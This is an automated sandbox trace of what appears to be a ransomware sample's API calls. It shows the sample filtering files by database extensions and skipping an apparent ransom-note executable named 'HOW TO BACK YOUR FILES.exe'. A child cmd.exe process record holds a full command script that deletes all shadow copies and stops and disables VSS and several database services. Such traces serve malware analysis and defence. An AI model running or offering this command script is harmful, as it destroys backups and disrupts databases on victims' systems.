	[0079.317] lstrlenW (lpString="dct") returned 3
	[0079.317] lstrcmpiW (lpString1="ini", lpString2="dct") returned 1
	[0079.317] lstrlenW (lpString="dcx") returned 3
	[0079.317] lstrcmpiW (lpString1="ini", lpString2="dcx") returned 1
	[0079.317] lstrlenW (lpString="ddl") returned 3
	[0079.317] lstrcmpiW (lpString1="ini", lpString2="ddl") returned 1
	[0079.317] lstrlenW (lpString="dlis") returned 4
	[0079.317] lstrcmpiW (lpString1=".ini", lpString2="dlis") returned -1
	[0079.317] lstrlenW (lpString="dp1") returned 3
	[0079.317] lstrcmpiW (lpString1="ini", lpString2="dp1") returned 1
	[0079.317] lstrlenW (lpString="dqy") returned 3
	[0079.317] lstrcmpiW (lpString1="ini", lpString2="dqy") returned 1
	[0079.317] lstrlenW (lpString="dsk") returned 3
	[0079.317] lstrcmpiW (lpString1="ini", lpString2="dsk") returned 1
	[0079.317] lstrlenW (lpString="dsn") returned 3
	[0079.317] lstrcmpiW (lpString1="ini", lpString2="dsn") returned 1
	[0079.317] lstrlenW (lpString="dtsx") returned 4
	[0079.317] lstrcmpiW (lpString1=".ini", lpString2="dtsx") returned -1
	[0079.317] lstrlenW (lpString="dxl") returned 3
	[0079.317] lstrcmpiW (lpString1="ini", lpString2="dxl") returned 1
	[0079.317] lstrlenW (lpString="eco") returned 3
	[0079.317] lstrcmpiW (lpString1="ini", lpString2="eco") returned 1
	[0079.317] lstrlenW (lpString="ecx") returned 3
	[0079.317] lstrcmpiW (lpString1="ini", lpString2="ecx") returned 1
	[0079.317] lstrlenW (lpString="edb") returned 3
	[0079.317] lstrcmpiW (lpString1="ini", lpString2="edb") returned 1
	[0079.317] lstrlenW (lpString="epim") returned 4
	[0079.317] lstrcmpiW (lpString1=".ini", lpString2="epim") returned -1
	[0079.317] lstrlenW (lpString="fcd") returned 3
	[0079.317] lstrcmpiW (lpString1="ini", lpString2="fcd") returned 1
	[0079.317] lstrlenW (lpString="fdb") returned 3
	[0079.317] lstrcmpiW (lpString1="ini", lpString2="fdb") returned 1
	[0079.317] lstrlenW (lpString="fic") returned 3
	[0079.317] lstrcmpiW (lpString1="ini", lpString2="fic") returned 1
	[0079.317] lstrlenW (lpString="flexolibrary") returned 12
	[0079.317] lstrlenW (lpString="fm5") returned 3
	[0079.317] lstrcmpiW (lpString1="ini", lpString2="fm5") returned 1
	[0079.317] lstrlenW (lpString="fmp") returned 3
	[0079.317] lstrcmpiW (lpString1="ini", lpString2="fmp") returned 1
	[0079.318] lstrlenW (lpString="fmp12") returned 5
	[0079.318] lstrcmpiW (lpString1="p.ini", lpString2="fmp12") returned 1
	[0079.318] lstrlenW (lpString="fmpsl") returned 5
	[0079.318] lstrcmpiW (lpString1="p.ini", lpString2="fmpsl") returned 1
	[0079.318] lstrlenW (lpString="fol") returned 3
	[0079.318] lstrcmpiW (lpString1="ini", lpString2="fol") returned 1
	[0079.318] lstrlenW (lpString="fp3") returned 3
	[0079.318] lstrcmpiW (lpString1="ini", lpString2="fp3") returned 1
	[0079.318] lstrlenW (lpString="fp4") returned 3
	[0079.318] lstrcmpiW (lpString1="ini", lpString2="fp4") returned 1
	[0079.318] lstrlenW (lpString="fp5") returned 3
	[0079.318] lstrcmpiW (lpString1="ini", lpString2="fp5") returned 1
	[0079.318] lstrlenW (lpString="fp7") returned 3
	[0079.318] lstrcmpiW (lpString1="ini", lpString2="fp7") returned 1
	[0079.318] lstrlenW (lpString="fpt") returned 3
	[0079.318] lstrcmpiW (lpString1="ini", lpString2="fpt") returned 1
	[0079.318] lstrlenW (lpString="frm") returned 3
	[0079.318] lstrcmpiW (lpString1="ini", lpString2="frm") returned 1
	[0079.318] lstrlenW (lpString="gdb") returned 3
	[0079.318] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1
	[0079.318] lstrlenW (lpString="gdb") returned 3
	[0079.318] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1
	[0079.318] lstrlenW (lpString="grdb") returned 4
	[0079.318] lstrcmpiW (lpString1=".ini", lpString2="grdb") returned -1
	[0079.318] lstrlenW (lpString="gwi") returned 3
	[0079.318] lstrcmpiW (lpString1="ini", lpString2="gwi") returned 1
	[0079.318] lstrlenW (lpString="hdb") returned 3
	[0079.318] lstrcmpiW (lpString1="ini", lpString2="hdb") returned 1
	[0079.318] lstrlenW (lpString="his") returned 3
	[0079.318] lstrcmpiW (lpString1="ini", lpString2="his") returned 1
	[0079.318] lstrlenW (lpString="ib") returned 2
	[0079.318] lstrcmpiW (lpString1="ni", lpString2="ib") returned 1
	[0079.318] lstrlenW (lpString="idb") returned 3
	[0079.318] lstrcmpiW (lpString1="ini", lpString2="idb") returned 1
	[0079.318] lstrlenW (lpString="ihx") returned 3
	[0079.318] lstrcmpiW (lpString1="ini", lpString2="ihx") returned 1
	[0079.318] lstrlenW (lpString="itdb") returned 4
	[0079.318] lstrcmpiW (lpString1=".ini", lpString2="itdb") returned -1
	[0079.318] lstrlenW (lpString="itw") returned 3
	[0079.319] lstrcmpiW (lpString1="ini", lpString2="itw") returned -1
	[0079.319] lstrlenW (lpString="jet") returned 3
	[0079.319] lstrcmpiW (lpString1="ini", lpString2="jet") returned -1
	[0079.319] lstrlenW (lpString="jtx") returned 3
	[0079.319] lstrcmpiW (lpString1="ini", lpString2="jtx") returned -1
	[0079.319] lstrlenW (lpString="kdb") returned 3
	[0079.319] lstrcmpiW (lpString1="ini", lpString2="kdb") returned -1
	[0079.319] lstrlenW (lpString="kexi") returned 4
	[0079.319] lstrcmpiW (lpString1=".ini", lpString2="kexi") returned -1
	[0079.319] lstrlenW (lpString="kexic") returned 5
	[0079.319] lstrcmpiW (lpString1="p.ini", lpString2="kexic") returned 1
	[0079.319] lstrlenW (lpString="kexis") returned 5
	[0079.319] lstrcmpiW (lpString1="p.ini", lpString2="kexis") returned 1
	[0079.319] lstrlenW (lpString="lgc") returned 3
	[0079.319] lstrcmpiW (lpString1="ini", lpString2="lgc") returned -1
	[0079.319] lstrlenW (lpString="lwx") returned 3
	[0079.319] lstrcmpiW (lpString1="ini", lpString2="lwx") returned -1
	[0079.319] lstrlenW (lpString="maf") returned 3
	[0079.319] lstrcmpiW (lpString1="ini", lpString2="maf") returned -1
	[0079.319] lstrlenW (lpString="maq") returned 3
	[0079.319] lstrcmpiW (lpString1="ini", lpString2="maq") returned -1
	[0079.319] lstrlenW (lpString="mar") returned 3
	[0079.319] lstrcmpiW (lpString1="ini", lpString2="mar") returned -1
	[0079.319] lstrlenW (lpString="marshal") returned 7
	[0079.319] lstrcmpiW (lpString1="top.ini", lpString2="marshal") returned 1
	[0079.319] lstrlenW (lpString="mas") returned 3
	[0079.319] lstrcmpiW (lpString1="ini", lpString2="mas") returned -1
	[0079.319] lstrlenW (lpString="mav") returned 3
	[0079.319] lstrcmpiW (lpString1="ini", lpString2="mav") returned -1
	[0079.319] lstrlenW (lpString="maw") returned 3
	[0079.319] lstrcmpiW (lpString1="ini", lpString2="maw") returned -1
	[0079.319] lstrlenW (lpString="mdbhtml") returned 7
	[0079.319] lstrcmpiW (lpString1="top.ini", lpString2="mdbhtml") returned 1
	[0079.319] lstrlenW (lpString="mdn") returned 3
	[0079.319] lstrcmpiW (lpString1="ini", lpString2="mdn") returned -1
	[0079.319] lstrlenW (lpString="mdt") returned 3
	[0079.319] lstrcmpiW (lpString1="ini", lpString2="mdt") returned -1
	[0079.319] lstrlenW (lpString="mfd") returned 3
	[0079.319] lstrcmpiW (lpString1="ini", lpString2="mfd") returned -1
	[0079.320] lstrlenW (lpString="mpd") returned 3
	[0079.320] lstrcmpiW (lpString1="ini", lpString2="mpd") returned -1
	[0079.320] lstrlenW (lpString="mrg") returned 3
	[0079.320] lstrcmpiW (lpString1="ini", lpString2="mrg") returned -1
	[0079.320] lstrlenW (lpString="mud") returned 3
	[0079.320] lstrcmpiW (lpString1="ini", lpString2="mud") returned -1
	[0079.320] lstrlenW (lpString="mwb") returned 3
	[0079.320] lstrcmpiW (lpString1="ini", lpString2="mwb") returned -1
	[0079.320] lstrlenW (lpString="myd") returned 3
	[0079.320] lstrcmpiW (lpString1="ini", lpString2="myd") returned -1
	[0079.320] lstrlenW (lpString="ndf") returned 3
	[0079.320] lstrcmpiW (lpString1="ini", lpString2="ndf") returned -1
	[0079.320] lstrlenW (lpString="nnt") returned 3
	[0079.320] lstrcmpiW (lpString1="ini", lpString2="nnt") returned -1
	[0079.320] lstrlenW (lpString="nrmlib") returned 6
	[0079.320] lstrcmpiW (lpString1="op.ini", lpString2="nrmlib") returned 1
	[0079.320] lstrlenW (lpString="ns2") returned 3
	[0079.320] lstrcmpiW (lpString1="ini", lpString2="ns2") returned -1
	[0079.320] lstrlenW (lpString="ns3") returned 3
	[0079.320] lstrcmpiW (lpString1="ini", lpString2="ns3") returned -1
	[0079.320] lstrlenW (lpString="ns4") returned 3
	[0079.320] lstrcmpiW (lpString1="ini", lpString2="ns4") returned -1
	[0079.320] lstrlenW (lpString="nsf") returned 3
	[0079.320] lstrcmpiW (lpString1="ini", lpString2="nsf") returned -1
	[0079.320] lstrlenW (lpString="nv") returned 2
	[0079.320] lstrcmpiW (lpString1="ni", lpString2="nv") returned -1
	[0079.320] lstrlenW (lpString="nv2") returned 3
	[0079.320] lstrcmpiW (lpString1="ini", lpString2="nv2") returned -1
	[0079.320] lstrlenW (lpString="nwdb") returned 4
	[0079.320] lstrcmpiW (lpString1=".ini", lpString2="nwdb") returned -1
	[0079.320] lstrlenW (lpString="nyf") returned 3
	[0079.320] lstrcmpiW (lpString1="ini", lpString2="nyf") returned -1
	[0079.320] lstrlenW (lpString="odb") returned 3
	[0079.320] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1
	[0079.320] lstrlenW (lpString="odb") returned 3
	[0079.320] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1
	[0079.320] lstrlenW (lpString="oqy") returned 3
	[0079.320] lstrcmpiW (lpString1="ini", lpString2="oqy") returned -1
	[0079.320] lstrlenW (lpString="ora") returned 3
	[0079.321] lstrcmpiW (lpString1="ini", lpString2="ora") returned -1
	[0079.321] lstrlenW (lpString="orx") returned 3
	[0079.321] lstrcmpiW (lpString1="ini", lpString2="orx") returned -1
	[0079.321] lstrlenW (lpString="owc") returned 3
	[0079.321] lstrcmpiW (lpString1="ini", lpString2="owc") returned -1
	[0079.321] lstrlenW (lpString="p96") returned 3
	[0079.321] lstrcmpiW (lpString1="ini", lpString2="p96") returned -1
	[0079.321] lstrlenW (lpString="p97") returned 3
	[0079.321] lstrcmpiW (lpString1="ini", lpString2="p97") returned -1
	[0079.321] lstrlenW (lpString="pan") returned 3
	[0079.321] lstrcmpiW (lpString1="ini", lpString2="pan") returned -1
	[0079.321] lstrlenW (lpString="pdb") returned 3
	[0079.321] lstrcmpiW (lpString1="ini", lpString2="pdb") returned -1
	[0079.321] lstrlenW (lpString="pdm") returned 3
	[0079.321] lstrcmpiW (lpString1="ini", lpString2="pdm") returned -1
	[0079.321] lstrlenW (lpString="pnz") returned 3
	[0079.321] lstrcmpiW (lpString1="ini", lpString2="pnz") returned -1
	[0079.321] lstrlenW (lpString="qry") returned 3
	[0079.321] lstrcmpiW (lpString1="ini", lpString2="qry") returned -1
	[0079.321] lstrlenW (lpString="qvd") returned 3
	[0079.321] lstrcmpiW (lpString1="ini", lpString2="qvd") returned -1
	[0079.321] lstrlenW (lpString="rbf") returned 3
	[0079.321] lstrcmpiW (lpString1="ini", lpString2="rbf") returned -1
	[0079.321] lstrlenW (lpString="rctd") returned 4
	[0079.321] lstrcmpiW (lpString1=".ini", lpString2="rctd") returned -1
	[0079.321] lstrlenW (lpString="rod") returned 3
	[0079.321] lstrcmpiW (lpString1="ini", lpString2="rod") returned -1
	[0079.321] lstrlenW (lpString="rodx") returned 4
	[0079.321] lstrcmpiW (lpString1=".ini", lpString2="rodx") returned -1
	[0079.321] lstrlenW (lpString="rpd") returned 3
	[0079.321] lstrcmpiW (lpString1="ini", lpString2="rpd") returned -1
	[0079.321] lstrlenW (lpString="rsd") returned 3
	[0079.321] lstrcmpiW (lpString1="ini", lpString2="rsd") returned -1
	[0079.321] lstrlenW (lpString="sas7bdat") returned 8
	[0079.321] lstrcmpiW (lpString1="ktop.ini", lpString2="sas7bdat") returned -1
	[0079.321] lstrlenW (lpString="sbf") returned 3
	[0079.321] lstrcmpiW (lpString1="ini", lpString2="sbf") returned -1
	[0079.321] lstrlenW (lpString="scx") returned 3
	[0079.321] lstrcmpiW (lpString1="ini", lpString2="scx") returned -1
	[0079.322] lstrlenW (lpString="sdb") returned 3
	[0079.322] lstrcmpiW (lpString1="ini", lpString2="sdb") returned -1
	[0079.322] lstrlenW (lpString="sdc") returned 3
	[0079.322] lstrcmpiW (lpString1="ini", lpString2="sdc") returned -1
	[0079.322] lstrlenW (lpString="sdf") returned 3
	[0079.322] lstrcmpiW (lpString1="ini", lpString2="sdf") returned -1
	[0079.322] lstrlenW (lpString="sis") returned 3
	[0079.322] lstrcmpiW (lpString1="ini", lpString2="sis") returned -1
	[0079.322] lstrlenW (lpString="spq") returned 3
	[0079.322] lstrcmpiW (lpString1="ini", lpString2="spq") returned -1
	[0079.322] lstrlenW (lpString="te") returned 2
	[0079.322] lstrcmpiW (lpString1="ni", lpString2="te") returned -1
	[0079.322] lstrlenW (lpString="teacher") returned 7
	[0079.322] lstrcmpiW (lpString1="top.ini", lpString2="teacher") returned 1
	[0079.322] lstrlenW (lpString="tmd") returned 3
	[0079.322] lstrcmpiW (lpString1="ini", lpString2="tmd") returned -1
	[0079.322] lstrlenW (lpString="tps") returned 3
	[0079.322] lstrcmpiW (lpString1="ini", lpString2="tps") returned -1
	[0079.322] lstrlenW (lpString="trc") returned 3
	[0079.322] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1
	[0079.322] lstrlenW (lpString="trc") returned 3
	[0079.322] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1
	[0079.322] lstrlenW (lpString="trm") returned 3
	[0079.322] lstrcmpiW (lpString1="ini", lpString2="trm") returned -1
	[0079.322] lstrlenW (lpString="udb") returned 3
	[0079.322] lstrcmpiW (lpString1="ini", lpString2="udb") returned -1
	[0079.322] lstrlenW (lpString="udl") returned 3
	[0079.322] lstrcmpiW (lpString1="ini", lpString2="udl") returned -1
	[0079.322] lstrlenW (lpString="usr") returned 3
	[0079.322] lstrcmpiW (lpString1="ini", lpString2="usr") returned -1
	[0079.322] lstrlenW (lpString="v12") returned 3
	[0079.322] lstrcmpiW (lpString1="ini", lpString2="v12") returned -1
	[0079.322] lstrlenW (lpString="vis") returned 3
	[0079.322] lstrcmpiW (lpString1="ini", lpString2="vis") returned -1
	[0079.322] lstrlenW (lpString="vpd") returned 3
	[0079.322] lstrcmpiW (lpString1="ini", lpString2="vpd") returned -1
	[0079.322] lstrlenW (lpString="vvv") returned 3
	[0079.322] lstrcmpiW (lpString1="ini", lpString2="vvv") returned -1
	[0079.322] lstrlenW (lpString="wdb") returned 3
	[0079.323] lstrcmpiW (lpString1="ini", lpString2="wdb") returned -1
	[0079.323] lstrlenW (lpString="wmdb") returned 4
	[0079.323] lstrcmpiW (lpString1=".ini", lpString2="wmdb") returned -1
	[0079.323] lstrlenW (lpString="wrk") returned 3
	[0079.323] lstrcmpiW (lpString1="ini", lpString2="wrk") returned -1
	[0079.323] lstrlenW (lpString="xdb") returned 3
	[0079.323] lstrcmpiW (lpString1="ini", lpString2="xdb") returned -1
	[0079.323] lstrlenW (lpString="xld") returned 3
	[0079.323] lstrcmpiW (lpString1="ini", lpString2="xld") returned -1
	[0079.323] lstrlenW (lpString="xmlff") returned 5
	[0079.323] lstrcmpiW (lpString1="p.ini", lpString2="xmlff") returned -1
	[0079.323] FindNextFileW (in: hFindFile=0x5ca010, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47576110, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x47576110, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0079.323] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0079.323] FindNextFileW (in: hFindFile=0x5ca010, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47576110, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x47576110, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0079.323] FindClose (in: hFindFile=0x5ca010 | out: hFindFile=0x5ca010) returned 1
	[0079.323] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x0
	[0079.323] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x0
	[0079.323] RtlInterlockedFlushSList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x0
	[0079.323] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b76a8 | out: hHeap=0x580000) returned 1
	[0079.323] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5976f0 | out: hHeap=0x580000) returned 1
	[0079.323] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599a78 | out: hHeap=0x580000) returned 1

Thread:
	id = 7
	os_tid = 0xae0


Thread:
	id = 8
	os_tid = 0xaf4


Thread:
	id = 9
	os_tid = 0xb68


Process:
	id = "2"
	image_name = "cmd.exe"
	filename = "c:\\windows\\syswow64\\cmd.exe"
	page_root = "0x4ea18000"
	os_pid = "0xabc"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "1"
	os_parent_pid = "0xa14"
	cmd_line = "C:\\Windows\\system32\\cmd.exe /c @echo off\r\nvssadmin delete shadows /all /quiet\r\nsc config browser\r\nsc config browser start=enabled\r\nsc stop vss\r\nsc config vss start=disabled\r\nsc stop MongoDB\r\nsc config MongoDB start=disabled\r\nsc stop SQLWriter\r\nsc config SQLWriter start=disabled\r\nsc stop MSSQLServerOLAPService\r\nsc config MSSQLServerOLAPService start=disabled\r\nsc stop MSSQLSERVER\r\nsc config MSSQLSERVER start=disabled\r\nsc stop MSSQL$SQLEXPRESS\r\nsc config MSSQL$SQLEXPRESS start=disabled\r\nsc stop ReportServer\r\nsc config ReportServer start=disabled\r\nsc stop OracleServiceORCL\r\nsc config OracleServiceORCL start=disabled\r\nsc stop OracleDBConsoleorcl\r\nsc config OracleDBConsoleorcl start=disabled\r\nsc stop OracleMTSRecoveryService\r\nsc config OracleMTSRecoveryService start=disabled\r\nsc stop OracleVssWriterORCL\r\nsc config OracleVssWriterORCL start=disabled\r\nsc stop MySQL\r\nsc config MySQL start=disabled\r\n"
	cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 3
	os_tid = 0xac0

	[0035.255] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x3ef8c8 | out: lpSystemTimeAsFileTime=0x3ef8c8*(dwLowDateTime=0x2d6624d0, dwHighDateTime=0x1d560a9)) 
	[0035.255] GetCurrentProcessId () returned 0xabc
	[0035.255] GetCurrentThreadId () returned 0xac0
	[0035.255] GetTickCount () returned 0x11443a5
	[0035.255] QueryPerformanceCounter (in: lpPerformanceCount=0x3ef8c0 | out: lpPerformanceCount=0x3ef8c0*=15546871497) returned 1
	[0035.256] GetModuleHandleA (lpModuleName=0x0) returned 0x4a5e0000
	[0035.256] __set_app_type (_Type=0x1) 
	[0035.256] __p__fmode () returned 0x74eb31f4
	[0035.256] __p__commode () returned 0x74eb31fc
	[0035.256] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4a6021a6) returned 0x0
	[0035.257] __getmainargs (in: _Argc=0x4a604238, _Argv=0x4a604240, _Env=0x4a60423c, _DoWildCard=0, _StartInfo=0x4a604140 | out: _Argc=0x4a604238, _Argv=0x4a604240, _Env=0x4a60423c) returned 0
	[0035.257] GetCurrentThreadId () returned 0xac0
	[0035.257] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0xac0) returned 0x60
	[0035.257] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000
	[0035.257] GetProcAddress (hModule=0x76c20000, lpProcName="SetThreadUILanguage") returned 0x76c4a84f
	[0035.257] SetThreadUILanguage (LangId=0x0) returned 0x409
	[0035.258] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1
	[0035.258] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x3ef858 | out: phkResult=0x3ef858*=0x0) returned 0x2
	[0035.258] VirtualQuery (in: lpAddress=0x3ef88f, lpBuffer=0x3ef828, dwLength=0x1c | out: lpBuffer=0x3ef828*(BaseAddress=0x3ef000, AllocationBase=0x2f0000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0035.258] VirtualQuery (in: lpAddress=0x2f0000, lpBuffer=0x3ef828, dwLength=0x1c | out: lpBuffer=0x3ef828*(BaseAddress=0x2f0000, AllocationBase=0x2f0000, AllocationProtect=0x4, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000)) returned 0x1c
	[0035.258] VirtualQuery (in: lpAddress=0x2f1000, lpBuffer=0x3ef828, dwLength=0x1c | out: lpBuffer=0x3ef828*(BaseAddress=0x2f1000, AllocationBase=0x2f0000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x104, Type=0x20000)) returned 0x1c
	[0035.258] VirtualQuery (in: lpAddress=0x2f3000, lpBuffer=0x3ef828, dwLength=0x1c | out: lpBuffer=0x3ef828*(BaseAddress=0x2f3000, AllocationBase=0x2f0000, AllocationProtect=0x4, RegionSize=0xfd000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0035.258] VirtualQuery (in: lpAddress=0x3f0000, lpBuffer=0x3ef828, dwLength=0x1c | out: lpBuffer=0x3ef828*(BaseAddress=0x3f0000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x60000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c
	[0035.258] GetConsoleOutputCP () returned 0x1b5
	[0035.258] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1
	[0035.258] SetConsoleCtrlHandler (HandlerRoutine=0x4a5fe72a, Add=1) returned 1
	[0035.258] _get_osfhandle (_FileHandle=1) returned 0x7
	[0035.258] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x0) returned 1
	[0035.258] _get_osfhandle (_FileHandle=1) returned 0x7
	[0035.258] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1
	[0035.258] _get_osfhandle (_FileHandle=1) returned 0x7
	[0035.259] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1
	[0035.259] _get_osfhandle (_FileHandle=0) returned 0x3
	[0035.259] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1
	[0035.260] _get_osfhandle (_FileHandle=0) returned 0x3
	[0035.260] SetConsoleMode (hConsoleHandle=0x3, dwMode=0x1a7) returned 1
	[0035.260] GetEnvironmentStringsW () returned 0x462c60*
	[0035.260] GetProcessHeap () returned 0x450000
	[0035.260] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0xaca) returned 0x463738
	[0035.260] FreeEnvironmentStringsW (penv=0x462c60) returned 1
	[0035.260] GetProcessHeap () returned 0x450000
	[0035.260] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x4) returned 0x461898
	[0035.260] GetEnvironmentStringsW () returned 0x462c60*
	[0035.260] GetProcessHeap () returned 0x450000
	[0035.260] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0xaca) returned 0x464210
	[0035.260] FreeEnvironmentStringsW (penv=0x462c60) returned 1
	[0035.260] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x3ee7c8 | out: phkResult=0x3ee7c8*=0x68) returned 0x0
	[0035.260] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x3ee7d0, lpData=0x3ee7d4, lpcbData=0x3ee7cc*=0x1000 | out: lpType=0x3ee7d0*=0x0, lpData=0x3ee7d4*=0x0, lpcbData=0x3ee7cc*=0x1000) returned 0x2
	[0035.261] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x3ee7d0, lpData=0x3ee7d4, lpcbData=0x3ee7cc*=0x1000 | out: lpType=0x3ee7d0*=0x4, lpData=0x3ee7d4*=0x1, lpcbData=0x3ee7cc*=0x4) returned 0x0
	[0035.261] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x3ee7d0, lpData=0x3ee7d4, lpcbData=0x3ee7cc*=0x1000 | out: lpType=0x3ee7d0*=0x0, lpData=0x3ee7d4*=0x1, lpcbData=0x3ee7cc*=0x1000) returned 0x2
	[0035.261] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x3ee7d0, lpData=0x3ee7d4, lpcbData=0x3ee7cc*=0x1000 | out: lpType=0x3ee7d0*=0x4, lpData=0x3ee7d4*=0x0, lpcbData=0x3ee7cc*=0x4) returned 0x0
	[0035.261] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x3ee7d0, lpData=0x3ee7d4, lpcbData=0x3ee7cc*=0x1000 | out: lpType=0x3ee7d0*=0x4, lpData=0x3ee7d4*=0x40, lpcbData=0x3ee7cc*=0x4) returned 0x0
	[0035.261] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x3ee7d0, lpData=0x3ee7d4, lpcbData=0x3ee7cc*=0x1000 | out: lpType=0x3ee7d0*=0x4, lpData=0x3ee7d4*=0x40, lpcbData=0x3ee7cc*=0x4) returned 0x0
	[0035.261] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x3ee7d0, lpData=0x3ee7d4, lpcbData=0x3ee7cc*=0x1000 | out: lpType=0x3ee7d0*=0x0, lpData=0x3ee7d4*=0x40, lpcbData=0x3ee7cc*=0x1000) returned 0x2
	[0035.261] RegCloseKey (hKey=0x68) returned 0x0
	[0035.261] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x3ee7c8 | out: phkResult=0x3ee7c8*=0x68) returned 0x0
	[0035.261] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x3ee7d0, lpData=0x3ee7d4, lpcbData=0x3ee7cc*=0x1000 | out: lpType=0x3ee7d0*=0x0, lpData=0x3ee7d4*=0x40, lpcbData=0x3ee7cc*=0x1000) returned 0x2
	[0035.261] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x3ee7d0, lpData=0x3ee7d4, lpcbData=0x3ee7cc*=0x1000 | out: lpType=0x3ee7d0*=0x4, lpData=0x3ee7d4*=0x1, lpcbData=0x3ee7cc*=0x4) returned 0x0
	[0035.261] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x3ee7d0, lpData=0x3ee7d4, lpcbData=0x3ee7cc*=0x1000 | out: lpType=0x3ee7d0*=0x0, lpData=0x3ee7d4*=0x1, lpcbData=0x3ee7cc*=0x1000) returned 0x2
	[0035.261] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x3ee7d0, lpData=0x3ee7d4, lpcbData=0x3ee7cc*=0x1000 | out: lpType=0x3ee7d0*=0x4, lpData=0x3ee7d4*=0x0, lpcbData=0x3ee7cc*=0x4) returned 0x0
